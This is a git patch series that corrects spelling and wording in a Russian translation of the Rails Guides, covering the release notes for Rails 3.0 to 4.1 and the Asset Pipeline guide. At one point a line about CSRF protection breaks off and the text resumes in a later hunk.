Action Controller в виде модуля, годного в использовании любой библиотекой, используемой для рендеринга шаблонов или партиалов, хелперов, переводов, логирования и любой части цикла отклика на запрос. Теперь эта абстракция позволяет `ActionMailer::Base` быть унаследованным от `AbstractController` и всего лишь оборачивать Rails DSL в гем Mail. Это также предоставило возможность вычистить Action Controller, упростив его код. @@ -256,7 +256,7 @@ end * В роутер добавлен метод `match`, также можно к соответствующему маршруту передать любое приложение Rack. * В роутер добавлен метод `constraints`, позволяющий защитить маршруты определенными ограничениями. -* В роутер добавлен метод `scope`, позволяющий вложить маршруты в пространство имен для различных яхыков или иных действий, например: +* В роутер добавлен метод `scope`, позволяющий вложить маршруты в пространство имен для различных языков или иных действий, например: ```ruby scope 'es' do @@ -311,11 +311,11 @@ form_for @post, :remote => true <% end %> ``` -От ваших собственных подобных хелперов ожидается, что они возвращают строку, а не добавляют к результирующиму буфферу вручную. +От ваших собственных подобных хелперов ожидается, что они возвращают строку, а не добавляют к результирующему буферу вручную. Хелперы с другим поведением, наподобие `cache` или `content_for`, не затронуты этим изменением, им нужен `<%` как и прежде. -#### Другие изменния +#### Другие изменения * Больше не нужно вызывать `h(string)` для экранирования HTML, это осуществляется по умолчанию во всех шаблонах вьюх. Если хотите неэкранированную строку, вызывайте `raw(string)`. * Теперь по умолчанию хелперы выводят HTML 5. @@ -341,7 +341,7 @@ Active Model это новшество в Rails 3.0. Он представляе ### Валидации -Валидации были перемещены из Active Record в Active Model, предоставляя интефейс для валидаций, работающий во всех библиотеках ORM в Rails 3. +Валидации были перемещены из Active Record в Active Model, предоставляя интерфейс для валидаций, работающий во всех библиотеках ORM в Rails 3. * Теперь имеется краткий метод `validates :attribute, options_hash` позволяющий передать опции для всех валидационных методов класса, в метод валидации можно передать более одной опции. * У метода `validates` имеются следующие опции: @@ -511,13 +511,13 @@ Active Support * Добавлен `to_i` к `DateTime` в `ActiveSupport`, таким образом `to_yaml` правильно работает в моделях с атрибутами `DateTime`. * Добавлен `Enumerable#exclude?` в пару к `Enumerable#include?`, чтобы избежать условия `!x.include?`. * Включена по умолчанию экранизация XSS для rails. -* Поддержка многоуровнего объединения в `ActiveSupport::HashWithIndifferentAccess`. +* Поддержка многоуровневого объединения в `ActiveSupport::HashWithIndifferentAccess`. * `Enumerable#sum` теперь работает для всех перечисляемых типов, даже если они не отвечают на `:size`. * `inspect` на нулевой продолжительности возвращает '0 seconds' вместо пустой строки. * Добавлены `element` и `collection` в `ModelName`. * `String#to_time` и `String#to_datetime` обрабатывают дробные секунды. * Добавлена поддержка для новых колбэков для объекта охватывающего фильтра, отвечающего на `:before` и `:after`, используемых в предварительных и последующих колбэках. -* Метод `ActiveSupport::OrderedHash#to_a` возвращает упорядоченный набор массивов. Соотетствует `Hash#to_a` из Ruby 1.9. +* Метод `ActiveSupport::OrderedHash#to_a` возвращает упорядоченный набор массивов. Соответствует `Hash#to_a` из Ruby 1.9. * `MissingSourceFile` существует как константа, но сейчас всего лишь равна `LoadError`. * Добавлен `Class#class_attribute` для возможности объявить атрибуты на уровне класса, значения которых наследуются и перезаписываются подклассами. * Окончательно убран `DeprecatedCallbacks` в `ActiveRecord::Associations`. @@ -551,13 +551,13 @@ Action Mailer получил новый API в связи с заменой TMai * По умолчанию все рассыльщики теперь находятся в `app/mailers`. * Теперь можно отослать email с использованием нового API тремя методами: `attachments`, `headers` and `mail`. * Теперь в Action Mailer имеется нативная поддержка для встроенных вложений с помощью метода `attachments.inline`. -* Методы рассылки Action Mailer теперь возвращают объекты `Mail::Message`, которые затем могут быть отосланы с помощью метода `deliver` на нимх. +* Методы рассылки Action Mailer теперь возвращают объекты `Mail::Message`, которые затем могут быть отосланы с помощью метода `deliver` на них. * Все методы доставки теперь абстрагированы в геме Mail. * Метод отправки письма может принимать хэш всех валидных полей заголовка письма в паре с их значением. * Метод доставки `mail` работает подобно `respond_to` из Action Controller, и можно явно или неявно рендерить шаблоны. Action Mailer превратит email в multipart email по необходимости. * В вызов `format.mime_type` в блоке mail можно передать proc и явно отрендерить определенные типы текста, или добавить макет или различные шаблоны. Вызов `render` внутри proc происходит из Abstract Controller и поддерживает те же опции. * Юнит тесты рассыльщика перенесены в функциональные тесты. -* Теперь Action Mailer делегирует все автокодирование полей заголовка и тела письма в гем Mail +* Теперь Action Mailer делегирует все автоматическое кодирование полей заголовка и тела письма в гем Mail * Action Mailer автоматически закодирует поля заголовка и тело письма Устарело: diff --git a/source/3_1_release_notes.md b/source/3_1_release_notes.md index 63c14c4c..549cfd7f 100644 --- a/source/3_1_release_notes.md +++ b/source/3_1_release_notes.md @@ -8,7 +8,7 @@ * Файлопровод (Assets Pipeline) * jQuery как библиотека JavaScript по умолчанию -Эти заметки о релизе покрывают основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/3-1-stable) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку коммитов](https://github.com/rails/rails/commits/3-1-stable) в главном репозитории Rails на GitHub. -------------------------------------------------------------------------------- @@ -176,7 +176,7 @@ HTTP Streaming это другое новшество в Rails 3.1. Он поз ### Библиотека JS по умолчанию теперь jQuery -jQuery является библиотекой JavaScript по умолчанию, которая поствляется вместе с Rails 3.1. Но если вы используете Prototype, это просто переключить. +jQuery является библиотекой JavaScript по умолчанию, которая поставляется вместе с Rails 3.1. Но если вы используете Prototype, это просто переключить. ```bash $ rails new myapp -j prototype @@ -234,7 +234,7 @@ Action Pack * Добавлен `config.action_controller.include_all_helpers`. По умолчанию выполняет `helper :all` в `ActionController::Base`, что включает все хелперы по умолчанию. Установка `include_all_helpers` в `false` приведет к включению только application_helper и хелпера. соответствующего контроллеру (подобно foo_helper для foo_controller). -* `url_for` и именнованные хелперы _url теперь принимают как опции `:subdomain` и `:domain`. +* `url_for` и именованные хелперы _url теперь принимают как опции `:subdomain` и `:domain`. * Добавлен `Base.http_basic_authenticate_with` для простой базовой аутентификации http с помощью единственного вызова метода класса. diff --git a/source/3_2_release_notes.md b/source/3_2_release_notes.md index 042bf9e5..79581842 100644 --- a/source/3_2_release_notes.md +++ b/source/3_2_release_notes.md @@ -8,7 +8,7 @@ * Автоматические Explain для запросов * Тегированное логирование -Эти заметки о релизе покрывают основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/3-2-stable) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку коммитов](https://github.com/rails/rails/commits/3-2-stable) в главном репозитории Rails на GitHub. -------------------------------------------------------------------------------- @@ -125,7 +125,7 @@ Railties * Добавлена промежуточная программа `DebugExceptions`, содержащая особенности, извлеченные из промежуточной программы `ShowExceptions`. -* Отображает маршруты монтированных engines-ов в `rake routes`. +* Отображает маршруты монтированных engine-ов в `rake routes`. * Позволяет изменить порядок загрузки railties с помощью `config.railties_order` следующим образом: @@ -193,7 +193,7 @@ Action Pack * Пишет в лог "Filter chain halted as CALLBACKNAME rendered or redirected" каждый раз при прерывании предварительного колбэка. -* Проведен рефакторинг `ActionDispatch::ShowExceptions`. Контроллер ответственнен за выбор как показывать исключения. В контроллере возможно переопределить `show_detailed_exceptions?`, чтобы определить, какие запросы должны предоставлять отладочную информацию при ошибках. +* Проведен рефакторинг `ActionDispatch::ShowExceptions`. Контроллер ответственен за выбор как показывать исключения. В контроллере возможно переопределить `show_detailed_exceptions?`, чтобы определить, какие запросы должны предоставлять отладочную информацию при ошибках. * Responders теперь возвращают 204 No Content для API запросов без тела запроса (как в новых скаффолдах). @@ -326,7 +326,7 @@ Active Record * Реализовано логирование автоматического EXPLAIN для медленных запросов. Новый конфигурационный параметр `config.active_record.auto_explain_threshold_in_seconds` определяет, что рассматривается как медленный запрос. Установите ему nil, чтобы отключить эту возможность. По умолчанию 0.5 в режиме development, и nil в режимах test и production. Rails 3.2 поддерживает эту возможность для SQLite, MySQL (адаптер mysql2) и PostgreSQL. -* Добавлен `ActiveRecord::Base.store` для определения простых одноколоночных хранилищ key/value. +* Добавлен `ActiveRecord::Base.store` для определения простых key/value хранилищ с одной колонкой. ```ruby class User < ActiveRecord::Base @@ -502,7 +502,7 @@ Active Support * `ActiveSupport::Notifications.subscribed` предоставляет подписки на события, пока выполняется блок. -* Опеределены новые методы `Module#qualified_const_defined?`, `Module#qualified_const_get` и `Module#qualified_const_set`, являющиеся аналогами соответствующих методов в стандартном API, но принимающие полные имена констант. +* Определены новые методы `Module#qualified_const_defined?`, `Module#qualified_const_get` и `Module#qualified_const_set`, являющиеся аналогами соответствующих методов в стандартном API, но принимающие полные имена констант. * Добавлен `#deconstantize`, дополняющий `#demodulize` в словообразовании. Он убирает самый правый сегмент в полном имени константы. diff --git a/source/4_0_release_notes.md b/source/4_0_release_notes.md index 1256c932..3a4322b6 100644 --- a/source/4_0_release_notes.md +++ b/source/4_0_release_notes.md @@ -5,10 +5,10 @@ * Ruby 2.0 предпочтителен; 1.9.3+ требуется * Строгие параметры (Strong Parameters) -* Турболинки (Turbolinks) +* Turbolinks * Кэширование "матрешкой" (Russian Doll Caching) -Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/4-0-stable) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку коммитов](https://github.com/rails/rails/commits/4-0-stable) в главном репозитории Rails на GitHub. Обновление до Rails 4.0 ----------------------- @@ -56,16 +56,16 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev * **Ruby 1.9.3** ([коммит](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Предпочтителен Ruby 2.0; требуется 1.9.3+ * **[Новая политика устареваний](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Устаревшие особенности показывают предупреждения в Rails 4.0, и будут убраны в Rails 4.1. * **Кэширование страниц и экшнов ActionPack** ([коммит](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Кэширование страниц и экшнов было извлечено в отдельный гем. Кэширование страниц и экшнов требовало слишком много человеческого вмешательства (вручную прекращать кэш, когда обновляются лежащие в основе объекты модели). Вместо этого используйте кэширование по принципу "русской матрешки" (Russian doll caching). -* **Обсерверы ActiveRecord** ([коммит](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Обсерверы извелчены в отдельный гем. Обсерверы требовались только для кэширования страниц и экшнов и могли привести к спагетти-коду. +* **Обсерверы ActiveRecord** ([коммит](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Обсерверы извлечены в отдельный гем. Обсерверы требовались только для кэширования страниц и экшнов и могли привести к спагетти-коду. * **Хранилище сессии ActiveRecord** ([коммит](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - Хранилище сессии ActiveRecord извлечено в отдельный гем. Хранение сессий в SQL затратное. Используйте вместо него сессии куки, сессии memcache или произвольные хранилища сессии. -* **Защита от массового нащначения ActiveModel** ([коммит](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Защита от массового назначения Rails 3 устарела. Вместо нее исользуйте строгие параметры (strong parameters). +* **Защита от массового назначения ActiveModel** ([коммит](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Защита от массового назначения Rails 3 устарела. Вместо нее используйте строгие параметры (strong parameters). * **ActiveResource** ([коммит](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource извлечен в отдельный гем. ActiveResource не был широко используемым. * **убраны vendor/plugins** ([коммит](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Для управления установленными гемами используйте Gemfile. ### ActionPack * **Strong parameters** ([коммит](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Позволяет обновлять объекты модели только разрешенными параметрами (`params.permit(:title, :text)`). -* **Routing concerns** ([коммит](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - В маршрутном DSL, выделяет общие суб-маршруты (`comments` из `/posts/1/comments` and `/videos/1/comments`). +* **Routing concerns** ([коммит](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - В маршрутном DSL, выделяет общие подмаршруты (`comments` из `/posts/1/comments` and `/videos/1/comments`). * **ActionController::Live** ([коммит](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Потоковый JSON с помощью `response.stream`. * **Декларативные ETags** ([коммит](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Добавляет на уровне контроллера дополнения к etag, которые будут частью вычисления etag. * **[Кэширование Russian doll](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([коммит](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Кэширует вложенные фрагменты вьюх. Каждый фрагмент прекращается на основе набора зависимостей (ключа кэширования). Ключ кэширования - это обычно версия шаблона и объект модели. @@ -77,7 +77,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev * **ActiveModel::Model** ([коммит](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model` - это миксин, чтобы обычные объекты Ruby могли работать с ActionPack "из коробки" (например, `form_for`). * **Новый API скоупов** ([коммит](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Скоупы должны быть всегда вызываемыми. -* **Выгрузка кэша схемы** ([коммит](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - Чтобы улучшить время загрузки Rails, вместо загрузки схемы непосредствненно из базы данных, загружает схему из файла выгрузки. +* **Выгрузка кэша схемы** ([коммит](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - Чтобы улучшить время загрузки Rails, вместо загрузки схемы непосредственно из базы данных, загружает схему из файла выгрузки. * **Поддержка указания уровня изоляции транзакции** ([коммит](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Выбирайте, что более важно - повторяемые чтения или улучшенное быстродействие (менее блокирующее). * **Dalli** ([коммит](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Используется клиент Dalli в качестве хранилища сессии в memcache. * **start & finish для уведомлений** ([коммит](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Инструменты Active Support сообщают подписчикам о начале и завершении уведомлений. @@ -85,7 +85,7 @@ $ ruby /path/to/rails/railties/bin/rails new myapp --dev NOTE: Убедитесь, что используемые вами гемы тредобезопасны. -* **Метод PATCH** ([коммит](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - В Rails PATCH заменил PUT. PATCH использется для частичного обновления ресурсов. +* **Метод PATCH** ([коммит](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - В Rails PATCH заменил PUT. PATCH используется для частичного обновления ресурсов. ### Безопасность @@ -123,7 +123,7 @@ Railties ### Значимые изменения -* Новые места для тестов `test/models`, `test/helpers`, `test/controllers` и `test/mailers`. Также добавлены соответствующие рейк-таски. ([Pull Request](https://github.com/rails/rails/pull/7878)) +* Новые места для тестов `test/models`, `test/helpers`, `test/controllers` и `test/mailers`. Также добавлены соответствующие rake-таски. ([Pull Request](https://github.com/rails/rails/pull/7878)) * Исполняемые файлы приложения теперь находятся в директории `bin/`. Запустите `rake rails:update:bin` чтобы получить `bin/bundle`, `bin/rails` и `bin/rake`. @@ -224,7 +224,7 @@ Active Record Метод `remove_column` принимает несколько имен столбцов; вместо использования `remove_columns` (который необратимый). Метод `change_table` также обратимый, если его блок не вызывает `remove`, `change` или `change_default` - * Новый метод `reversible` делает возможным определить код для исполнения при выполении или откате миграции. + * Новый метод `reversible` делает возможным определить код для исполнения при выполнении или откате миграции. Смотрите [Руководство по миграциям](/rails-database-migrations#using-reversible) * Новый метод `revert` обратит всю миграцию или предоставленный блок. diff --git a/source/4_1_release_notes.md b/source/4_1_release_notes.md index feab513f..cb26992b 100644 --- a/source/4_1_release_notes.md +++ b/source/4_1_release_notes.md @@ -8,7 +8,7 @@ * Action Pack Variants (шаблоны, для разных устройств) * Предпросмотр писем Action Mailer -Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку комитов](https://github.com/rails/rails/commits/master) в главном репозитории Rails на GitHub. +Эти заметки о релизе покрывают только основные обновления. Чтобы узнать о различных багфиксах и изменениях, обратитесь к логам изменений или к [списку коммитов](https://github.com/rails/rails/commits/master) в главном репозитории Rails на GitHub. -------------------------------------------------------------------------------- @@ -37,7 +37,7 @@ Spring является прелоадером для Rails приложений bin/rake test:models ``` -**Запуск Rails комманд:** +**Запуск Rails команд:** ``` bin/rails console @@ -150,7 +150,7 @@ end ### Enum поля в Active Record -Объявляйте в базе данных enum поле, в котором числа связываются со значениеми, +Объявляйте в базе данных enum поле, в котором числа связываются со значениями, но могут быть запрошены по имени ```ruby @@ -245,7 +245,7 @@ Railties * Удалёны устаревшие rake таски для запуска тестов: `rake test:uncommitted` и `rake test:recent`. -### Значемые изменения +### Значимые изменения * [Spring прелоадер](https://github.com/rails/spring) теперь устанавливается по умолчанию для новых приложений. Он использует группу development в Gemfile, поэтому не будет установлен в @@ -260,7 +260,7 @@ Railties * Добавлен метод `Application#message_verifier` которы возвращает верификационное сообщение. ([Pull Request](https://github.com/rails/rails/pull/12995)) -* Файл `test_help.rb`, который требуется созданным по умолчанию тестом, автоматически сохраняет тестовую базу данных актуальной `db/schema.rb` (или `db/structure.sql`). Он вызывает ошибку, если перезагрузка схемы не решает проблемы отложенных миграций. Настраивается с мпомощью опции `config.active_record.maintain_test_schema = false`. ([Pull Request](https://github.com/rails/rails/pull/13528)) +* Файл `test_help.rb`, который требуется созданным по умолчанию тестом, автоматически сохраняет тестовую базу данных актуальной `db/schema.rb` (или `db/structure.sql`). Он вызывает ошибку, если перезагрузка схемы не решает проблемы отложенных миграций. Настраивается с помощью опции `config.active_record.maintain_test_schema = false`. ([Pull Request](https://github.com/rails/rails/pull/13528)) Action Pack ----------- @@ -271,7 +271,7 @@ Action Pack ### Удалено -* Удалён устаревшний Rails fallback для интеграционных тестов, используйте `ActionDispatch.test_app`. +* Удалён устаревший Rails fallback для интеграционных тестов, используйте `ActionDispatch.test_app`. * Удалена устаревшая конфигурация `page_cache_extension`. @@ -290,7 +290,7 @@ Action Pack | ActionController::Integration | ActionDispatch::Integration | | ActionController::IntegrationTest | ActionDispatch::IntegrationTest | -### Значемые изменения +### Значимые изменения * `protect_from_forgery` также предотвращает от CSRF атак, проводимых через ` ``` -Ресурсы компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP заголовок `must-revalidate` Cache-Control для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). +Ресурсы компилируются и кэшируются при первом запросе после запуска сервера. Sprockets устанавливает HTTP заголовок контроля кэша `must-revalidate` для уменьшения нагрузки на последующие запросы - на них браузер получает отклик 304 (Not Modified). Если какой-либо из файлов в манифесте изменился между запросами, сервер возвращает новый скомпилированный файл. @@ -448,7 +447,7 @@ config.assets.debug = false rel="stylesheet" /> ``` -Note: с Asset Pipeline опции :cache и :concat больше не используются, удалите эти опции из `javascript_include_tag` и `stylesheet_link_tag`. +NOTE: с Asset Pipeline опции `:cache` и `:concat` больше не используются, удалите эти опции из `javascript_include_tag` и `stylesheet_link_tag`. Режим меток контролируется с помощью инициализационной опции `config.assets.digest` (которая по умолчанию `true` для production и development). @@ -460,7 +459,7 @@ NOTE: В нормальных обстоятельствах опция `config. Скомпилированные ресурсы записываются в адрес, указанный в `config.assets.prefix`. По умолчанию это директория `/assets`. -Эту задачу можно вызвать на сервере во время деплоймента, чтобы создать скомпилированные версии ресурсов непосредствено на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. +Эту задачу можно вызвать на сервере во время деплоймента, чтобы создать скомпилированные версии ресурсов непосредственно на сервере. Смотрите следующий раздел, чтобы узнать о том, как скомпилировать локально. Задача rake такая: @@ -468,7 +467,7 @@ NOTE: В нормальных обстоятельствах опция `config. $ RAILS_ENV=production bin/rake assets:precompile ``` -Capistrano (v2.15.1 и выше) включает рецепт для управления этим при деплое. Добавьте следующую строку в `Capfile`: +Capistrano (версии 2.15.1 и выше) включает рецепт для управления этим при деплое. Добавьте следующую строку в `Capfile`: ```erb load 'deploy/assets' @@ -557,8 +556,8 @@ location ~ ^/assets/ { Однако есть три оговорки: * Вы не должны запускать задачу Capistrano, которая компилирует ресурсы. -* Вы должны убедиться, что в вашей системе разработке присутствуют все необходимые компрессоры или минифайеры. -* Вы должны изменить следующую конфигурационные настройку приложения: +* Вы должны убедиться, что в вашей системе разработки присутствуют все необходимые компрессоры или минифайеры. +* Вы должны изменить следующую конфигурационную настройку приложения: В `config/environments/development.rb` поместите следующую строчку: @@ -613,7 +612,7 @@ config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' NOTE: Необходимо предоставить только "host", это поддомен и корневой домен, не нужно указывать протокол или "scheme", такие как `http://` или `https://`. Когда запрашивается страница, протокол в созданной ссылке на ваш ресурс будет соответствовать тому, какой доступ к странице. -Это значения также можно настроить с помощью [переменной среды](https://ru.wikipedia.org/wiki/Переменная_среды), чтобы упростить запуск staging-копий вашего сайта: +Это значение также можно настроить с помощью [переменной среды](https://ru.wikipedia.org/wiki/Переменная_среды), чтобы упростить запуск staging-копий вашего сайта: ``` config.action_controller.asset_host = ENV['CDN_HOST'] @@ -633,7 +632,7 @@ NOTE: Чтобы это работало, вам необходимо устан http://mycdnsubdomain.fictional-cdn.com/assets/smile.png ``` -Если на CDN имеется копия `smile.png`, она будет отдана браузеру, и ваш сервер даже не узнает, что она был запрошен. Если на CDN нет копии , он попытается найти ее на "origin" `example.com/assets/smile.png`, а затем сохранить ее для дальнейшего использования. +Если на CDN имеется копия `smile.png`, она будет отдана браузеру, и ваш сервер даже не узнает, что она была запрошена. Если на CDN нет копии, он попытается найти ее на "origin" `example.com/assets/smile.png`, а затем сохранить ее для дальнейшего использования. Если хотите отдавать только некоторые ресурсы из CDN, можно использовать опцию `:host` в хелпере ресурса, переопределяющую значение, установленное в `config.action_controller.asset_host`. @@ -647,7 +646,7 @@ CDN работает, кэшируя содержимое. Если в CDN им ##### Кэширование запросов CDN -Хотя CDN описывается как каэширующий файлы ресурсов, на самом деле он кэширует целые запросы. Они включают тело ресурса, а также его заголовки. Наиболее важным является `Cache-Control`, который сообщает CDN (и браузерам), как кэшировать содержимое. Это означает, что если кто-то запрашивает несуществующий ресурс `/assets/i-dont-exist.png`, и ваше приложение Rails возвращает 404, тогда ваш CDN скорее всего закэширует страницу 404, если присутствует валидный заголовок `Cache-Control`. +Хотя CDN описывается как кэширующий файлы ресурсов, на самом деле он кэширует целые запросы. Они включают тело ресурса, а также его заголовки. Наиболее важным является `Cache-Control`, который сообщает CDN (и браузерам), как кэшировать содержимое. Это означает, что если кто-то запрашивает несуществующий ресурс `/assets/i-dont-exist.png`, и ваше приложение Rails возвращает 404, тогда ваш CDN скорее всего закэширует страницу 404, если присутствует валидный заголовок `Cache-Control`. ##### Отладка заголовков CDN @@ -695,7 +694,7 @@ X-Timer: S1408912125.211638212,VS0,VE0 ##### CDN и заголовок Cache-Control -[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ресурсов, так как браузеру не нужно повторно скачивать CSS или javascript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ресурс "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении rails, установив +[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ресурсов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ресурс "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении rails, установив ``` config.static_cache_control = "public, max-age=31536000" @@ -717,7 +716,7 @@ http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png http://mycdnsubdomain.fictional-cdn.com/assets/smile.png ``` -Если хотите установить длительный `max-age` в вашем `Cache-Control` (и делаете так), то убедитесь, что, когда вы изменяете ваши ресурсы, ваш кэш прекращается. Например, при изменении рожицы смайлика в изображении с желтого на синий, вы хотите, чтобы все посетители вашего сайта получили новую синюю рожицу. При использовании CDN с настройкой файлопровода Rails `config.assets.digest`, установленной true по умолчанию, каждый ресурс будет имет другое имя, если он изменится. Таким образом, вам даже не нужно вручную прекращать любые элементы в вашем кэше. Используя иную технику для уникального имени ресурса, ваши пользователи также получат самый свежий ресурс. +Если хотите установить длительный `max-age` в вашем `Cache-Control` (и делаете так), то убедитесь, что, когда вы изменяете ваши ресурсы, ваш кэш прекращается. Например, при изменении рожицы смайлика в изображении с желтого на синий, вы хотите, чтобы все посетители вашего сайта получили новую синюю рожицу. При использовании CDN с настройкой файлопровода Rails `config.assets.digest`, установленной true по умолчанию, каждый ресурс будет иметь другое имя, если он изменится. Таким образом, вам даже не нужно вручную прекращать любые элементы в вашем кэше. Используя иную технику для уникального имени ресурса, ваши пользователи также получат самый свежий ресурс. Настройка файлопровода ---------------------- @@ -742,7 +741,7 @@ config.assets.css_compressor = :sass Возможные варианты для сжатия JavaScript это `:closure`, `:uglifier` and `:yui`. Они требуют использование гемов `closure-compiler`, `uglifier` или `yui-compressor` соответственно. -Gemfile по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. +Gemfile по умолчанию включает [uglifier](https://github.com/lautis/uglifier). Этот гем оборачивает [UglifierJS](https://github.com/mishoo/UglifyJS) (написанный для NodeJS) в Ruby. Он сжимает ваш код, убирая пробелы и комментарии, сокращая имена локальных переменных и выполняя иные микро-оптимизации, наподобие замены ваших выражений `if` и `else` на тернарные операторы там, где возможно. Следующая строка вызывает `uglifier` для сжатия JavaScript. @@ -798,6 +797,7 @@ Apache и NGINX поддерживают эту опцию. Она включа WARNING: Если вы обновляете свое существующее приложение и намереваетесь использовать эту опцию, убедитесь, что скопировали эту опцию только в `production.rb` и в любую другую среду, которую вы определили, как имеющую поведение production (не в `application.rb`). TIP: За дальнейшими подробностями обращайтесь к документации своих веб-серверов: + - [Apache](https://tn123.org/mod_xsendfile/) - [NGINX](http://wiki.nginx.org/XSendfile) @@ -860,7 +860,7 @@ Sprockets.register_engine '.bang', BangBang::Template Обновление со старых версий Rails --------------------------------- -Имеется несколько проблем при обновлении c Rails 3.0 или Rails 2.x. Первая — это перемещение файлов из `public/` в новые места размещения. Смотрите [Организация ресурсов](#how-to-use-the-asset-pipeline) ранее в руководстве для правильного размешения файлов разных типов. +Имеется несколько проблем при обновлении c Rails 3.0 или Rails 2.x. Первая — это перемещение файлов из `public/` в новые места размещения. Смотрите [Организация ресурсов](#how-to-use-the-asset-pipeline) ранее в руководстве для правильного размещения файлов разных типов. Следующей является необходимость избегать дублирования файлов JavaScript. Так как jQuery является библиотекой JavaScript по умолчанию, начиная с Rails 3.1 и далее, не нужно копировать `jquery.js` в `app/assets`, он будет включен автоматически. @@ -902,7 +902,7 @@ config.assets.digest = true ``` Rails 4 более не устанавливает конфигурационные значения по умолчанию для Sprockets в `test.rb`, поэтому теперь `test.rb` требует конфигурацию Sprockets. Старыми значениями по умолчанию в тестовом окружении являются: `config.assets.compile = true`, `config.assets.compress = -+false`, `config.assets.debug = false` и `config.assets.digest = false`. +false`, `config.assets.debug = false` и `config.assets.digest = false`. Следующее также должно быть добавлено в `Gemfile`: diff --git a/source/index.yml b/source/index.yml index f534d2a0..81b792bc 100644 --- a/source/index.yml +++ b/source/index.yml @@ -165,8 +165,8 @@ pages: - title: Asset Pipeline path: asset-pipeline file: asset_pipeline.md - revision: df280c4316c156a6c39b73cc34f42159cb75f0af - date: 25/03/2015 + revision: 03615fc283f65cbfcc8aec62371bed4b48523fde + date: 13/08/2015 - title: Работа с JavaScript в Rails path: working-with-javascript-in-rails From 0282fbea09788ff5a41d4f0b6aac4716087c6068 Mon Sep 17 00:00:00 2001 From: Markov Alexey Date: Sat, 24 Oct 2015 03:20:53 +0400 Subject: [PATCH 119/932] Update working_with_javascript_in_rails.md --- source/index.yml | 4 